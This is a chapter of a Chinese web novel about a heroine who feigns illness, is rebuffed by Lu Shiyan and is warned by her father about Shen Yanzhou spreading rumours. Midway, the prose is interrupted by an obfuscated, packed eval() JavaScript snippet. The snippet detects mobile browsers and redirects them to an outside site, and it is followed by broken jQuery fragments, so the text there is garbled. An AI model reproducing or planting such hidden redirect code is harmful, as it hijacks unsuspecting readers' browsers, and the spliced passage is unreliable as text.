默认冷灰
24号文字
方正启体

6. 合作无望,渣男搞事

作者:云栖朝昭本书字数:K更新时间:
    江南歌望着陆时衍决绝离去的背影,气得差点把后槽牙咬碎,最后只能对着空气挥了一拳,骂了句“死摆烂世子,给我等着”,才蔫蔫地转身,按原路翻墙回了沈府。


    刚落地,她就拍了拍身上的灰,瞬间切换回“弱不禁风病美人”模式,扶着墙慢悠悠地往自己的院子挪。


    刚走到院门口,就看见春桃和翠竹正守在门边,眼神里满是焦急,见她回来,立刻快步迎了上来。


    “小姐!您可算回来了!”春桃压低声音,急得眼眶都红了,“您那天杏花宴对着沈状元吐的事情,全府都传遍了,大家都说夫人已经在来的路上了!”


    翠竹也凑上来,声音带着后怕:“小姐,您要是再不回来,我真的要被发卖了!”


    江南歌拍了拍两个丫鬟的手,安抚道:“辛苦你们了,没事了,我回来了。”她一边说,一边快步走进内室,看着床帐里堆得鼓鼓的被子,忍不住扶额,“快,把这堆东西收了,别露馅了。”


    翠竹连忙上前,把被子掀开,从里面抱出几个枕头和靠垫,又手脚麻利地铺好床铺。


    江南歌则立刻躺回床上,扯过被子盖好,脸上还维持着病恹恹的神色,看见江夫人进门,瞬间戏精附体,“哎哟”一声捂着肚子缩在床上。


    江夫人推门进来,一看见她这副样子,当即就红了眼:“我的儿,你这是怎么了?是不是被外面那些人的闲言闲语气着了?”


    江南歌“虚弱”地眨眨眼,小声的说:“娘,沈状元大庭广众之下跟我拉拉扯扯,我怕影响不好,情急之下气火攻心,实在没忍住……”


    江夫人走到床边,看着床上脸色苍白、双眼微闭的女儿,心疼地叹了口气,伸手探了探她的额头,温声道:“怎会弄成这般模样?一连几天都下不来床,看来这状元郎确实和你有缘无分。罢了,只要你好就行,还难不难受?”


    “就是胃里难受,母亲您别为我操劳过度,这样女儿会心疼的。”江南歌垂下眼眸,一副“好好女儿”模样。


    “傻孩子,”江夫人摸了摸她的头,“府里的大夫来看过了吗?”


    “方才已经请大夫来看过了,开了方子,正在煎药呢。”春桃连忙回话。


    江夫人点了点头,又叮嘱了几句,让她好好养病,才转身离开。


    看着江夫人的背影消失在门口,江南歌才松了口气,从床上坐了起来,脸上的虚弱瞬间消失得无影无踪,取而代之的是一脸的懊恼。


    “气死我了,陆时衍那家伙,油盐不进!”她抓过枕头,狠狠砸了一下,“好话歹话都说尽了,他倒好,直接给我甩脸子走人,一点机会都不给!”


    春桃和翠竹对视一眼,小心翼翼地开口:“小姐,世子他……还是没松口吗?”


    “松口?”江南歌翻了个白眼,“他没把我赶出来就不错了!说什么我四处折腾丢了体面,到头来难堪的只会是我自己,我难道想这样吗?”


    她瘫在床上,对着屋顶叹气:“这才刚开始,就碰了这么大的壁,以后可怎么办啊?难道真要嫁给那个沈砚舟,最后被活活气死?”


    翠竹连忙安慰:“小姐,您别灰心,说不定……过几天世子爷就松口了呢?”


    “他会?”江南歌哼了一声,“他都被我缠了好几天了,一点松动都没有,再这么下去,我怕是要先被他烦死了。”


    她翻了个身,看着窗外的月色,心里盘算着:陆时衍油盐不进,硬来肯定不行,得换个法子才行。直接逼他结盟,他肯定觉得我另有所图,可我就是想活命啊!要不……先不提要结盟的事,换个方式接近他?


    正想着,门外传来了丫鬟的声音:“小姐,药煎好了。”


    江南歌叹了口气,认命地坐了起来:“端进来吧。”


    看着碗里黑乎乎的汤药,她皱了皱眉,捏着鼻子一饮而尽,苦得她脸都皱成了一团。


    “真是屋漏偏逢连夜雨,出门碰壁,回来还要喝这么苦的药。”她对着镜子,看着自己苍白的脸,忍不住吐槽,“陆时衍,你给我等着,我江南歌,跟你杠上了!”


    汤药的苦味还凝在舌尖,江南歌靠在床头,心头一片乱糟糟。


    这场风寒虽是装出来的,可如今倒真成了束缚。


    她闭门静养,名正言顺避开了外头的应酬,可也彻底出不了门,再不能随意去找陆时衍。


    先前几次刻意接近,次次碰壁,今日更是被对方毫不留情地回绝。


    新的法子还没头绪,前路一片混沌,一想到沈砚舟那桩烂婚约,她便一阵头疼。


    正烦闷间,院外传来轻缓的通传:


    “小姐,老爷来看您了。”


    江南歌立刻敛了神色,重新躺好,掩去一身焦躁,只余下几分病后虚弱。


    江父步入内室,一身常服,气质温和却不失威严。他挥退下人,独自在桌边坐下,目光落在她身上,先问了句身体状况。


    江南歌轻声应了,心里却隐隐预感,今日这番前来,绝不会只是探病这般简单。


    果然,江父沉默片刻,缓缓开口:


    “前几日宴上,你对着沈砚舟失态作呕之事,外头已经传开了。”


    江南歌心头微紧。


    这件事居然都传到江父耳朵里了,看来事情发展的比她预想的还要严重。


    江父语气平静,却字字清晰:“沈砚舟自那日游园宴后,便在世家圈里处处卖惨,逢人便说自己一片痴心,反被你当众羞辱,扮作深情被负、无辜受辱的模样。旁人不知内情,只信了他的说辞,如今对你颇有微词。”


    江南歌默不作声。


    原主痴恋沈砚舟许久,整个京城世家圈子谁不知道?


    如今她一反常态,当众对他避之不及,甚至恶心作呕,在外人看来,本就怪异至极。


    沈砚舟正是抓住这一点,顺水推舟,把自己塑造成受害者。


    “他暗中散播流言,说你……心性不定,见异思迁,因看上了陆世子,便对他百般轻贱,品行有亏。”江父语气微沉,“不少不明真相的贵女与长辈,都信了他的说辞。”


    江南歌在心底冷笑。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527282|203571||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好一朵盛世白莲花。


    正面争不过,便转头卖惨,借原主昔日情意,反过来踩她一脚。


    江父看着她,轻叹一声:“你从前……对沈砚舟何等上心,满京城谁人不知?如今骤然这般,旁人自然会多想。你行事这般突兀,只会叫人抓住话柄,于你名声,于江家颜面,都不好看。”


    江南歌垂眸。


    她不是原主,自然不会再对沈砚舟有半分情意。


    可她不能说,也不能解释。


    “父亲,女儿……早已不似从前。”她轻声道,“沈砚舟此人,并非良人。”


    江父看着她,目光复杂,却并未苛责。


    他自然看得出女儿前后变化之大,只是有些事,并非一句“不喜欢”便能轻易撇清。


    “为父知道你心意已改。”他缓缓道,“可你要明白,你昔日倾心于他,人尽皆知。如今骤然翻脸,只会落得‘始乱终弃、心性轻浮’的骂名。沈砚舟正是抓住这一点,才敢如此肆无忌惮地抹黑于你。”


    江南歌沉默。


    她比谁都清楚,原主留下的烂摊子有多难收拾。


    江父语气放缓,带着几分温和施压:“江家世代清誉,不能因儿女私事,沦为旁人笑柄。况且你近日频频接近永宁侯府陆世子,动静不小,本就惹人侧目。如今再加上沈砚舟这桩事,流言只会愈演愈烈。”


    他顿了顿,语气郑重,却也清晰无比:


    “但你放心。为父与你母亲,从未想过要拿你一生去成全什么联姻。你不喜欢沈砚舟,这门亲事,江家可以不答应,也绝不会逼你。”


    江南歌猛地抬眼,心头一震。


    江父看着她,一字一句:“只是南歌,你也要顾及家族体面,收敛几分锋芒,行事莫要再这般急躁冒进。”


    “陆世子本就不喜旁人纠缠,你连日这般刻意靠近,只会让他更为不耐,也让旁人更加误会你见异思迁。”


    “你且安心静养,沉下心来,莫要再冲动行事。”


    “只要你稳住,江家便永远是你的底气。”


    一番话,情理兼备,既点破危机,又给足安全感。


    江南歌缓缓低下头,轻声应下:“女儿知道了,往后会谨言慎行,不再叫父亲与母亲忧心。”


    江父见她听进心里,便不再多言,又叮嘱几句安心养病,便起身离开了。


    屋内重归安静。


    江南歌躺在床上,望着帐顶,长长吐出一口气。


    原主痴恋沈砚舟,是她最大的软肋。


    沈砚舟绿茶卖惨,是她眼下最大的麻烦。


    陆时衍被她缠得厌烦,是她最难啃的一块硬骨头。


    而她现在,因病闭门,出不了门,计划全断,一筹莫展。


    真是……


    怎么搞成这样。


    她轻轻揉了揉眉心。


    看来,死缠烂打这条路,是真的走不通了。


    既不能出门,又不能再贸然靠近,那她只能先停一停。


    要以静制动,以退为进。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)